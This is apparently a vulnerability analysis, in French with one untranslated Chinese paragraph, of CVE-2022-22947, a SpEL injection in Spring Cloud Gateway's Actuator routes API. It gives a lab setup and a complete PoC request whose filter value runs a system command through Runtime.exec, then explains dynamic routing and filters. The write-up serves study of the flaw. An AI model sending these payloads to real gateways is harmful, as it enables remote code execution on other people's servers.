Analyse détaillée et exploit pour CVE-2022-22947, une vulnérabilité d'exécution de code à distance dans Spring Cloud Gateway via une injection SpEL dans l'API Actuator. Inclut un PoC, l'injection de shell en mémoire et une décomposition de la cause racine.
Spring Cloud Gateway 是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的API路由管理方式。 前段时间springCloud Gateway被爆致命RCE CVE ,cve信息显示当应用程序启用和暴露Spring Cloud Gateway的Gateway Actuator endpoint时,会受到远程代码注入攻击,攻击者发送恶意请求从而可远程执行任意代码。目前受影响的版本如下:
本次分析通过复现该CVE学习漏洞原理以及更进一步的利用方式。
使用如下依赖创建一个maven工程:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
Dans la configuration par défaut de spring boot, seul l'endpoint health est exposé au web, si vous devez exposer gateway, vous devez le configurer manuellement, voir [documentation officielle](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
Envoyez le POC suivant :```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

Puis envoyez ```POST /actuator/gateway/refresh``` pour actualiser les informations du cache de routage, ce qui déclenche le POC :

## Analyse du principe
En observant le POC ci-dessus, on voit d'abord qu'une route est ajoutée dynamiquement via ```POST /actuator/gateway/routes/test2```. Pendant l'ajout de la route, un filtre traite le paramètre d'entrée et peut analyser cette valeur comme une expression SpEL. Ensuite, lors de l'actualisation du cache de routage, le POC est déclenché et exécuté.
Examinons d'abord le mécanisme de configuration dynamique des routes de Spring Cloud Gateway.
### Configuration dynamique des routes
Spring Cloud Gateway prend en charge l'enregistrement des routes par code ou fichier de configuration, comme le montre la [démo](https://spring.io/guides/gs/gateway/) officielle :```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
La méthode pour les fichiers de configuration est similaire à celle du code:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
Les routes ajoutées de ces deux manières sont fixes. S'il est nécessaire d'ajouter, de modifier ou de supprimer des configurations et des règles de routage, il faut redémarrer l'application pour que les changements prennent effet. Toutefois, dans la pratique, Spring Cloud Gateway étant le point d'entrée de tout le trafic, il doit garantir une haute disponibilité du système. Ainsi, une fois Spring Cloud Gateway expose l'endpoint `/gateway`, il est possible d'ajouter, de modifier et de supprimer dynamiquement des informations de routage via `/gateway/routes`. Mais ces informations de routage ne sont stockées qu'en mémoire ; dès que le service redémarre, les nouvelles configurations de routage ajoutées sont perdues.
D'après le format d'enregistrement des routes ci-dessus, une information de route comprend l'URI cible, la collection de filters et la collection de predicates. Les predicates peuvent effectuer la correspondance de requêtes à partir de n'importe quel contenu d'une requête HTTP (en-têtes, paramètres). Spring Cloud Gateway fournit de nombreuses classes d'usine de route predicate intégrées, telles que Before, After, Between, Cookie, Header, Host, [Path, etc.](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).

Les filters servent à modifier la requête ou la réponse avant ou après l'envoi de la requête. Il existe également de nombreuses collections de filters intégrés. Dans le payload déclenchant la RCE ci-dessus, nous avons utilisé le filter AddResponseHeader. D'autres filters incluent RewritePath, SetPath, etc. Il existe deux types de filters : l'un est le GlobalFilter, qui est effectif pour toutes les routes, l'autre est le GatewayFilter, qui n'est effectif que pour une seule route. Pour plus de détails, voir https://www.cnblogs.com/duanxz/p/14780675.html.
,
## Flux de requête
Alors, quel est le processus concret lorsqu'une requête arrive, passe par la passerelle et atteint le service proxyé (proxied service) en backend ? Voici le processus décrit dans la documentation officielle :

Le client envoie une requête à Spring Cloud Gateway, puis trouve dans le GateWay Handler Mapping la route correspondant à la requête, et l'envoie au GateWay Web Handler ; le Handler envoie ensuite la requête à notre service réel via la chaîne de filters spécifiée pour exécuter la logique métier, puis la réponse est renvoyée. Les filters sont séparés par des lignes pointillées car ils peuvent exécuter leur logique métier avant (pre) ou après (post) l'envoi de la requête proxyée.
RoutePredicateHandlerMapping recherche la route, puis c'est webHandler qui la traite :

Dans webHandler, on identifie les gatewayFilters et les globalFilters, puis on les trie en fonction de la valeur Order définie dans les filters pour former une filterchain, et on exécute tous les filters.
